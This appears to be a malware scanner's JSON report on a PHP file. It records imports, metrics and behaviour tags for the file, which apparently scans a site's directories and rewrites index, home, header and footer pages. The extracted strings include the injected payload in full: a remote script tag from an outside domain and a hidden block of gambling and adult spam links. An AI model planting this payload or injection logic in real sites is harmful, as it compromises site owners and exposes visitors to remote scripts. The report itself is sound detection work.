{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 0.9755913019180298,
        "class": 2
      }
    ],
    "prob": 0.9755913,
    "class": 2,
    "models": [
      {
        "m": "az",
        "prob": 0.92669684,
        "class": 0
      },
      {
        "m": "az/scripts",
        "prob": 0.6699324,
        "class": 0
      },
      {
        "m": "az/php",
        "prob": 0.9755913,
        "class": 2
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9961138,
      0.99909174
    ],
    "analyzed_at": "2026-05-09T06:24:01Z"
  },
  "path": "f2.php",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "O₂(AsC₄)H₂(DbF₃)Md",
        "k": {
          "source.imports[0]": "LinkReplace",
          "source.imports[1]": "RegexReplace",
          "source.imports[2]": "count",
          "source.imports[3]": "dirname",
          "source.imports[4]": "file_get_contents",
          "source.imports[5]": "file_put_contents",
          "source.imports[6]": "is_dir",
          "source.imports[7]": "preg_match",
          "source.imports[8]": "preg_replace",
          "source.imports[9]": "realpath",
          "source.strings[0]": " style=",
          "source.strings[1]": "/(\u003c%|\u003c",
          "source.strings[2]": "/(\u003c%|\u003c\\\\?php|\u003cbody(.*?)\u003e)/i",
          "source.strings[3]": "/(index|default|home|foot|head)/i",
          "source.strings[4]": "/../../../../",
          "source.strings[5]": "/span\u003e",
          "source.strings[6]": "\u003c/span\u003e",
          "source.strings[7]": "\u003cbr /\u003e",
          "source.strings[8]": "\u003cscript src=\"http://www.88885333.com/1.js\" rel=\u0026#x2019;external nofollow\u0026#x2019;\u003e\u003c/script\u003e\u003c!-------------------------\u0026#x672C;\u0026#x7AD9;\u0026#x53CB;\u0026#x60C5;\u0026#x94FE;\u0026#x63A5;\u0026#xFF0C;\u0026#x8BF7;\u0026#x52FF;\u0026#x5220;\u0026#x9664;------------------------\u003e\u003cdiv style=\"display:none\"\u003e\u003cstrong style=\"font-weight: 400\"\u003e\u0026#x53CB;\u0026#x60C5;\u0026#x94FE;\u0026#x63A5;:\u003ca href=\"http://www.pclunwen.com/\"\u003e\u0026#x8BBA;\u0026#x6587;\u003c/a\u003e\u003ca href=\"http://pclunwen.com/\"\u003e\u0026#x4E2D;\u0026#x56FD;\u0026#x8BBA;\u0026#x6587;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.goodyyw.net/\"\u003e\u0026#x97E9;\u0026#x56FD;\u0026#x4F26;\u0026#x7406;\u003c/a\u003e\u003ca href=\"http://goodyyw.net/\"\u003e\u0026#x4F26;\u0026#x7406;\u0026#x7535;\u0026#x5F71;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.goodyxw.com/\"\u003e\u0026#x4F26;\u0026#x7406;\u0026#x7535;\u0026#x5F71;\u003c/a\u003e\u003ca href=\"http://goodyxw.com/\"\u003e\u0026#x70ED;\u0026#x95E8;\u0026#x4F26;\u0026#x7406;\u0026#x7247;\u003c/a\u003e\u003ca href=\"http://www.wahooco.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.zxkL98.com/\"\u003e\u0026#x6FB3;\u0026#x95E8;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.huade.org/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5740;\u003c/a\u003e\u003ca href=\"http://www.shzfpa.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6392;\u0026#x540D;\u003c/a\u003e\u003ca href=\"http://www.hntscm.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x4EE3;\u0026#x7406;\u003c/a\u003e\u003ca href=\"http://www.zc1718.com/\"\u003e\u0026#x5929;\u0026#x4E0B;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.zjdqgy.com/\"\u003e\u0026#x4E5D;\u0026#x5DDE;\u0026#x5929;\u0026#x4E0B;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.pysqyy.com/\"\u003e\u0026#x4E50;\u0026#x535A;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.wyxyxz.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6392;\u0026#x884C;\u003c/a\u003e\u003ca href=\"http://www.zznj8.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5E73;\u0026#x53F0;\u003c/a\u003e\u003ca href=\"http://www.good-o2.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5F00;\u0026#x6237;\u003c/a\u003e\u003ca href=\"http://www.xttyp.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6E38;\u0026#x620F;\u003c/a\u003e\u003ca href=\"http://www.synmkj.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x4E0A;\u0026#x6E38;\u0026#x620F;\u003c/a\u003e\u003ca href=\"http://www.hljpts.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x7AD9;\u003c/a\u003e\u003ca href=\"http://www.sjznbgyq.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x4E0A;\u0026#x6E38;\u0026#x620F;\u0026#x5385;\u003c/a\u003e\u003ca href=\"http://www.ykssw.com/\"\u003e\u0026#x771F;\u0026#x4EBA;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.youthsh.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x8BC4;\u0026#x7EA7;\u003c/a\u003e\u003ca href=\"http://www.xmyh168.com/\"\u003e\u0026#x535A;\u0026#x5F69;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.qajyxxw.com/\"\u003e\u0026#x8DB3;\u0026#x7403;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.58szxg.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5BFC;\u0026#x822A;\u003c/a\u003e\u003ca href=\"http://www.nbhxpm.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.mhgyp.com/\"\u003e\u0026#x6FB3;\u0026#x95E8;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.yfyf68.com/\"\u003e\u0026#x7687;\u0026#x51A0;\u0026#x76F4;\u0026#x8425;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.51cgj.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x8BBA;\u0026#x575B;\u003c/a\u003e\u003ca href=\"http://www.51zgrl.com/\"\u003e\u0026#x4E9A;\u0026#x6D32;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.lcd-1.com/\"\u003e\u0026#x592A;\u0026#x9633;\u0026#x57CE;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.gzbowin.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x793E;\u0026#x533A;\u003c/a\u003e\u003ca href=\"http://www.qhdjrfw.com/\"\u003e\u0026#x8D4C;\u0026#x535A;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.ou-te.com/\"\u003e\u0026#x76C8;\u0026#x76DB;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.qifenge.com/\"\u003e\u0026#x6CE2;\u0026#x97F3;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6295;\u0026#x6CE8;\u003c/a\u003e\u003ca href=\"http://www.gebreakers.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x9001;\u0026#x4F53;\u0026#x9A8C;\u0026#x91D1;\u003c/a\u003e\u003ca href=\"http://www.tcldy.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x4FE1;\u0026#x8A89;\u0026#x6392;\u0026#x884C;\u003c/a\u003e\u003ca href=\"http://www.hsghxj.com/\"\u003e\u0026#x8DB3;\u0026#x7403;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5F00;\u0026#x6237;\u003c/a\u003e\u003ca href=\"http://www.jabanjia.com/\"\u003e\u0026#x8DB3;\u0026#x7403;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5740;\u003c/a\u003e\u003ca href=\"http://www.shkunLe.com/\"\u003e\u0026#x624B;\u0026#x673A;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x7AD9;\u003c/a\u003e\u003ca href=\"http://www.henangt.com/\"\u003e\u0026#x535A;\u0026#x5F69;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x624B;\u0026#x673A;\u0026#x7248;\u003c/a\u003e\u003ca href=\"http://www.xxswsj.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6392;\u0026#x540D;\u0026#x6E38;\u0026#x620F;\u003c/a\u003e\u003ca href=\"http://www.szbxzs.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x535A;\u0026#x5F69;\u0026#x6280;\u0026#x5DE7;\u003c/a\u003e\u003ca href=\"http://www.nawatv.com/\"\u003e\u0026#x76C8;\u0026#x76DB;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5E73;\u0026#x53F0;\u003c/a\u003e\u003ca href=\"http://www.cnycyj.com/\"\u003e\u0026#x535A;\u0026#x5F69;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5740;\u003c/a\u003e\u003ca href=\"http://www.jd8.cc/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.bnwsjds.com/\"\u003e\u0026#x6FB3;\u0026#x95E8;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.cdbzyg.com/\"\u003e\u0026#x6FB3;\u0026#x95E8;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x7F51;\u0026#x7AD9;\u003c/a\u003e\u003ca href=\"http://www.yc13z.com/\"\u003ehg\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5F00;\u0026#x6237;\u003c/a\u003e\u003ca href=\"http://www.lwsjxx.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6597;\u0026#x725B;\u003c/a\u003e\u003ca href=\"http://www.hnhtkj.net/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5B98;\u0026#x65B9;\u003c/a\u003e\u003ca href=\"http://www.simodj.com/\"\u003e\u0026#x6FB3;\u0026#x95E8;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5740;\u003c/a\u003e\u003ca href=\"http://www.bhhzdx.net/\"\u003e\u0026#x6FB3;\u0026#x95E8;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6392;\u0026#x884C;\u003c/a\u003e\u003ca href=\"http://www.fsgfhh.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x535A;\u0026#x5F69;\u0026#x5BFC;\u0026#x822A;\u003c/a\u003e\u003ca href=\"http://www.dl20gz.com/\"\u003e\u0026#x771F;\u0026#x4EBA;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6392;\u0026#x884C;\u003c/a\u003e\u003ca href=\"http://www.zhenaihunsha.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5F00;\u0026#x6237;\u0026#x7F51;\u0026#x7AD9;\u003c/a\u003e\u003ca href=\"http://www.travelcq.com/\"\u003e\u0026#x5728;\u0026#x7EBF;\u0026#x8D4C;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x7AD9;\u003c/a\u003e\u003ca href=\"http://www.bjdffl.com/\"\u003e\u0026#x771F;\u0026#x4EBA;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5927;\u0026#x5168;\u003c/a\u003e\u003ca href=\"http://www.chenjiagou.cc/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5BFC;\u0026#x822A;\u0026#x7F51;\u003c/a\u003e\u003ca href=\"http://www.sxczzx.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6597;\u0026#x725B;\u0026#x7F51;\u0026#x5740;\u003c/a\u003e\u003ca href=\"http://www.jsyxlxj.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6E38;\u0026#x620F;\u0026#x5F00;\u0026#x6237;\u003c/a\u003e\u003ca href=\"http://www.zgjjsw.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x6E38;\u0026#x620F;\u0026#x5E73;\u0026#x53F0;\u003c/a\u003e\u003ca href=\"http://www.wanbaoguanggao.com/\"\u003e\u0026#x535A;\u0026#x5F69;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x8BBA;\u0026#x575B;\u003c/a\u003e\u003ca href=\"http://www.ftkbo1.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x7AD9;\u0026#x5F00;\u0026#x6237;\u003c/a\u003e\u003ca href=\"http://www.sxrsj.net/\"\u003e\u0026#x7F51;\u0026#x7EDC;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5E73;\u0026#x53F0;\u003c/a\u003e\u003ca href=\"http://www.tjhbsb.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x535A;\u0026#x72D7;\u0026#x4F53;\u0026#x80B2;\u003c/a\u003e\u003ca href=\"http://www.sdxfgm.com/\"\u003e\u0026#x7687;\u0026#x51A0;\u0026#x5A31;\u0026#x4E50;\u003c/a\u003e\u003ca href=\"http://www.hdwye.com/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x68CB;\u0026#x724C;\u0026#x6597;\u0026#x5730;\u0026#x4E3B;\u003c/a\u003e\u003ca href=\"http://www.finefun.net/\"\u003e\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x5E73;\u0026#x53F0;\u0026#x5F00;\u0026#x6237;\u003c/a\u003e\u003ca href=\"http://www.ykams.com/\"\u003e\u0026#x535A;\u0026#x72D7;\u0026#x73B0;\u0026#x91D1;\u0026#x7F51;\u0026#x7AD9;\u003c/a\u003e\u003ca href=\"http://www.nqrtk.com/\"\u003e\u0026#x5E74;\u0026#x8F7B;\u0026#x4EBA;\u0026#x56FE;\u0026#x5E93;\u003c/a\u003e\u003ca href=\"http://nqrtk.com/\"\u003e\u0026#x9AD8;\u0026#x6E05;\u0026#x7F8E;\u0026#x5973;\u0026#x56FE;\u0026#x7247;\u003c/a\u003e\u003ca href=\"http://www.msntk.com/\"\u003e\u0026#x7F8E;\u0026#x5C11;\u0026#x5973;\u0026#x56FE;\u0026#x5E93;\u003c/a\u003e\u003ca href=\"http://msntk.com/\"\u003e\u0026#x6E05;\u0026#x7EAF;\u0026#x7F8E;\u0026#x5973;\u0026#x6821;\u0026#x82B1;\u003c/a\u003e\u003ca href=\"http://www.qjrtk.com/\"\u003e\u0026#x4FCF;\u0026#x4F73;\u0026#x4EBA;\u0026#x56FE;\u0026#x5E93;\u003c/a\u003e\u003ca href=\"http://qjrtk.com/\"\u003e\u0026#x65E5;\u0026#x672C;\u0026#x7F8E;\u0026#x5973;\u003c/a\u003e\u003c/strong\u003e\u003c/div\u003e\u003c!-------------------------\u0026#x672C;\u0026#x7AD9;\u0026#x53CB;\u0026#x60C5;\u0026#x94FE;\u0026#x63A5;\u0026#xFF0C;\u0026#x8BF7;\u0026#x52FF;\u0026#x5220;\u0026#x9664;------------------------\u003e",
          "source.strings[9]": "\u003cspan class=",
          "source.has_imports": true,
          "source.imports[10]": "scandir",
          "source.imports[11]": "str_replace",
          "source.imports[12]": "str_replace_once",
          "source.imports[13]": "strlen",
          "source.imports[14]": "strpos",
          "source.imports[15]": "substr_replace",
          "source.strings[10]": "\u003cspan class=\\\"mylinkcode\\\" style=\\\"display:none\\\"\u003e",
          "source.strings[11]": "\u003cspan class=\\\"mylinkcode\\\" style=\\\"display:none\\\"\u003e([\\\\s\\\\S]+?)\u003c\\\\/span\u003e",
          "source.strings[12]": "?php|\u003cbody(.*?)\u003e)/i",
          "source.strings[13]": "S]+?)\u003c",
          "source.strings[14]": "__success__",
          "source.strings[15]": "display:none",
          "source.strings[16]": "http://",
          "source.strings[17]": "http://stratigery.com",
          "source.strings[18]": "mylinkcode",
          "source.functions[0]": "LinkReplace",
          "source.functions[1]": "RegexReplace",
          "source.functions[2]": "str_replace_once"
        },
        "x": 41,
        "id": 0,
        "is": [
          "realpath",
          "dirname",
          "LinkReplace",
          "scandir",
          "is_dir",
          "LinkReplace",
          "preg_match",
          "strpos",
          "strpos",
          "strpos",
          "strpos",
          "strpos",
          "file_get_contents",
          "str_replace",
          "preg_replace",
          "RegexReplace",
          "file_put_contents",
          "strpos",
          "str_replace",
          "str_replace",
          "str_replace",
          "str_replace",
          "str_replace",
          "preg_match",
          "count",
          "str_replace_once",
          "str_replace_once",
          "strpos",
          "substr_replace",
          "strlen"
        ],
        "ms": {
          "file": {
            "size": 10189.0
          },
          "text": {
            "tab_count": 113.0,
            "digit_ratio": 0.24,
            "space_count": 793.0,
            "total_lines": 108.0,
            "char_entropy": 5.59,
            "mixed_indent": true,
            "unique_chars": 86.0,
            "import_density": 27.78,
            "lines_over_200": 1.0,
            "lines_over_500": 1.0,
            "string_density": 0.75,
            "avg_line_length": 93.34,
            "high_byte_ratio": 0.0,
            "invisible_chars": 1.0,
            "lines_over_1000": 1.0,
            "max_line_length": 6826.0,
            "non_ascii_ratio": 0.0,
            "empty_line_ratio": 0.03,
            "last_line_length": 1.0,
            "long_token_count": 3.0,
            "most_common_char": "x",
            "whitespace_ratio": 0.1,
            "most_common_ratio": 0.05,
            "identifier_density": 1.52,
            "line_length_stddev": 651.59,
            "normalized_import_count": 2.89,
            "normalized_string_count": 7.79,
            "repeated_char_sequences": 26.0,
            "suspicious_string_ratio": 0.02,
            "max_inline_whitespace_run": 1.0,
            "normalized_function_count": 0.29,
            "imports_to_functions_ratio": 10.0,
            "strings_to_functions_ratio": 27.0,
            "suspicious_identifier_ratio": 0.04,
            "normalized_unique_identifiers": 7.55,
            "identifiers_to_functions_ratio": 17.0
          },
          "imports": {
            "total": 30.0,
            "unique_modules": 16.0,
            "third_party_count": 30.0,
            "third_party_ratio": 1.0
          },
          "strings": {
            "total": 81.0,
            "url_count": 6.0,
            "avg_length": 176.44,
            "max_length": 6809.0,
            "path_count": 7.0,
            "avg_entropy": 1.8,
            "total_bytes": 14292.0,
            "entropy_stddev": 1.53,
            "very_long_strings": 2.0,
            "high_entropy_count": 2.0,
            "unicode_heavy_strings": 2.0,
            "embedded_code_candidates": 2.0
          },
          "comments": {},
          "functions": {
            "total": 3.0,
            "length_stddev": 24.83,
            "avg_name_length": 13.0,
            "no_params_count": 3.0,
            "avg_length_lines": 28.0,
            "max_length_lines": 63.0,
            "min_length_lines": 8.0,
            "density_per_100_lines": 2.78,
            "code_in_functions_ratio": 0.78
          },
          "identifiers": {
            "total": 164.0,
            "avg_length": 9.31,
            "max_length": 17.0,
            "min_length": 3.0,
            "avg_entropy": 2.82,
            "reuse_ratio": 0.31,
            "unique_count": 51.0,
            "length_stddev": 3.48,
            "has_digit_ratio": 0.12,
            "base64_like_names": 2.0,
            "high_entropy_count": 4.0,
            "high_entropy_ratio": 0.08,
            "all_lowercase_ratio": 0.49,
            "all_uppercase_ratio": 0.02,
            "numeric_suffix_count": 6.0,
            "double_underscore_count": 1.0,
            "underscore_prefix_count": 1.0
          }
        },
        "ss": [
          [
            47,
            "/../../../../"
          ],
          [
            48,
            "/../../../../"
          ],
          [
            76,
            "http://stratigery.com"
          ],
          [
            77,
            "http://stratigery.com"
          ],
          [
            131,
            "/(index|default|home|foot|head)/i"
          ],
          [
            132,
            "/(index|default|home|foot|head)/i"
          ],
          [
            186,
            "/(\u003c%|\u003c\\\\?php|\u003cbody(.*?)\u003e)/i"
          ],
          [
            187,
            "/(\u003c%|\u003c"
          ],
          [
            195,
            "?php|\u003cbody(.*?)\u003e)/i"
          ],
          [
            247,
            "\u003cscript src=\"http://www.88885333.com/1.js\" rel=\u0026#x2019;external nofollow\u0026#x2019;\u003e\u003c/script\u003e\u003c!-------------------------\u0026#x672C;\u0026#x"
          ],
          [
            248,
            "\u003cscript src=\"http://www.88885333.com/1.js\" rel=\u0026#x2019;external nofollow\u0026#x2019;\u003e\u003c/script\u003e\u003c!-------------------------\u0026#x672C;\u0026#x"
          ],
          [
            7211,
            "__success__"
          ],
          [
            7212,
            "__success__"
          ],
          [
            7240,
            "__success__"
          ],
          [
            7241,
            "__success__"
          ],
          [
            7573,
            ".."
          ],
          [
            7574,
            ".."
          ],
          [
            7590,
            "."
          ],
          [
            7591,
            "."
          ],
          [
            7655,
            "/"
          ],
          [
            7656,
            "/"
          ],
          [
            7798,
            "/"
          ],
          [
            7799,
            "/"
          ],
          [
            8101,
            ".htm"
          ],
          [
            8102,
            ".htm"
          ],
          [
            8140,
            ".asp"
          ],
          [
            8141,
            ".asp"
          ],
          [
            8179,
            ".php"
          ],
          [
            8180,
            ".php"
          ],
          [
            8218,
            ".jsp"
          ],
          [
            8219,
            ".jsp"
          ],
          [
            8257,
            ".cfm"
          ],
          [
            8258,
            ".cfm"
          ],
          [
            8336,
            "/"
          ],
          [
            8337,
            "/"
          ],
          [
            8390,
            ""
          ],
          [
            8391,
            ""
          ],
          [
            8454,
            "\u003cspan class=\\\"mylinkcode\\\" style=\\\"display:none\\\"\u003e([\\\\s\\\\S]+?)\u003c\\\\/span\u003e"
          ],
          [
            8455,
            "\u003cspan class="
          ],
          [
            8470,
            "mylinkcode"
          ],
          [
            8482,
            " style="
          ],
          [
            8491,
            "display:none"
          ],
          [
            8505,
            "\u003e(["
          ],
          [
            8510,
            "s"
          ],
          [
            8513,
            "S]+?)\u003c"
          ],
          [
            8521,
            "/span\u003e"
          ],
          [
            8619,
            "\u003cspan class=\\\"mylinkcode\\\" style=\\\"display:none\\\"\u003e"
          ],
          [
            8620,
            "\u003cspan class="
          ],
          [
            8634,
            "mylinkcode"
          ],
          [
            8646,
            " style="
          ],
          [
            8655,
            "display:none"
          ],
          [
            8669,
            "\u003e"
          ],
          [
            8691,
            "\u003c/span\u003e"
          ],
          [
            8692,
            "\u003c/span\u003e"
          ],
          [
            8763,
            "/"
          ],
          [
            8764,
            "/"
          ],
          [
            8812,
            "\u003cspan class=\\\"mylinkcode\\\" style=\\\"display:none\\\"\u003e"
          ],
          [
            8813,
            "\u003cspan class="
          ],
          [
            8827,
            "mylinkcode"
          ],
          [
            8839,
            " style="
          ],
          [
            8848,
            "display:none"
          ],
          [
            8862,
            "\u003e"
          ],
          [
            8921,
            "/"
          ],
          [
            8922,
            "/"
          ],
          [
            9066,
            "\\\\"
          ],
          [
            9072,
            "/"
          ],
          [
            9073,
            "/"
          ],
          [
            9139,
            "http://"
          ],
          [
            9140,
            "http://"
          ],
          [
            9216,
            "//"
          ],
          [
            9217,
            "//"
          ],
          [
            9222,
            "/"
          ],
          [
            9223,
            "/"
          ],
          [
            9289,
            "//"
          ],
          [
            9290,
            "//"
          ],
          [
            9295,
            "/"
          ],
          [
            9296,
            "/"
          ],
          [
            9350,
            "http://"
          ],
          [
            9351,
            "http://"
          ],
          [
            9439,
            "\u003cbr /\u003e"
          ],
          [
            9440,
            "\u003cbr /\u003e"
          ]
        ],
        "sz": 10189,
        "ts": [
          {
            "a": "T1546",
            "c": 1.0,
            "d": "Writes data to a file via functions",
            "e": [
              "file_put_contents("
            ],
            "i": "micro-behaviors/fs/file/write/direct::php-file-write-func",
            "l": 2
          },
          {
            "c": 0.6000000238418579,
            "d": "Generates HTML tags",
            "e": [
              "\u003cbody"
            ],
            "i": "micro-behaviors/data/format/html::html-generator-tags",
            "l": 3
          },
          {
            "a": "T1083",
            "c": 1.0,
            "d": "Iterate directory contents via functions in PHP",
            "e": [
              "scandir("
            ],
            "i": "micro-behaviors/fs/directory/traverse::php-dir-traverse-fn",
            "l": 2
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Exactly one line exceeds 1000 chars",
            "e": [
              "text.lines_over_1000 = 1.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1505.003",
            "d": "PHP open tag",
            "e": [
              "\u003c?php"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/request::php-tag",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1505.003",
            "c": 0.9399999976158142,
            "d": "Regex component marker",
            "e": [
              "file_get_contents"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/request::raw-json-post-cmd-field--rx-7",
            "l": 1,
            "m": "B0030"
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 6826.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "a": "T1059",
            "c": 0.800000011920929,
            "d": "Self-reference via __FILE__",
            "e": [
              "__FILE__"
            ],
            "i": "micro-behaviors/fs/read/self::self-file-reference",
            "l": 3
          },
          {
            "a": "T1505.003",
            "c": 1.0,
            "d": "Inequality check in WordPress user list",
            "e": [
              "!="
            ],
            "i": "objectives/command-and-control/backdoor/webshell/hide::wp-user-hiding-not-trait",
            "l": 1,
            "m": "B0030"
          },
          {
            "c": 1.0,
            "d": "PHP scandir function symbol",
            "e": [
              "scandir"
            ],
            "i": "micro-behaviors/fs/enumerate/directory::php-scandir",
            "l": 3
          },
          {
            "a": "T1505.003",
            "c": 0.8600000143051147,
            "d": "Very long embedded string",
            "e": [
              "strings.max_length = 6809.00"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string",
            "l": 1
          },
          {
            "a": "T1071",
            "c": 0.75,
            "d": ".cc domain (commonly abused)",
            "e": [
              "http://www.jd8.cc/"
            ],
            "i": "objectives/command-and-control/infrastructure/domain/tld::tld-cc",
            "l": 3
          },
          {
            "a": "T1505.003",
            "c": 0.8999999761581421,
            "d": "PHP source imports file_put_contents",
            "e": [
              "[LinkReplace, RegexReplace, count, dirname, file_get_contents, file_put_contents, is_dir, preg_match, preg_replace, realpath, sc"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-file-put-contents",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 30 or more lines",
            "e": [
              "text.total_lines = 108.00"
            ],
            "i": "metadata/file/text/metrics::file-has-30-plus-lines",
            "l": 1
          },
          {
            "a": "T1105",
            "c": 0.800000011920929,
            "d": "Creates or overwrites a local file",
            "e": [
              "file_put_contents"
            ],
            "i": "micro-behaviors/fs/write/file/direct::file-put-contents",
            "l": 3,
            "m": "C0052"
          },
          {
            "c": 0.8999999761581421,
            "d": "HTTP protocol prefix",
            "e": [
              "http://"
            ],
            "i": "micro-behaviors/communications/http/protocol::http-prefix",
            "l": 2
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.10"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "PHP source contains very long line",
            "e": [
              "text.max_line_length = 6826.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::php-single-long-line",
            "l": 4,
            "m": "B0032"
          }
        ],
        "sha": "e116857413b232fa6573101dfb82bfdaeb75ae0bdaabff4dfad1ff5a5da63ece",
        "path": "f2.php",
        "type": "php"
      }
    ],
    "tv": "a9555"
  }
}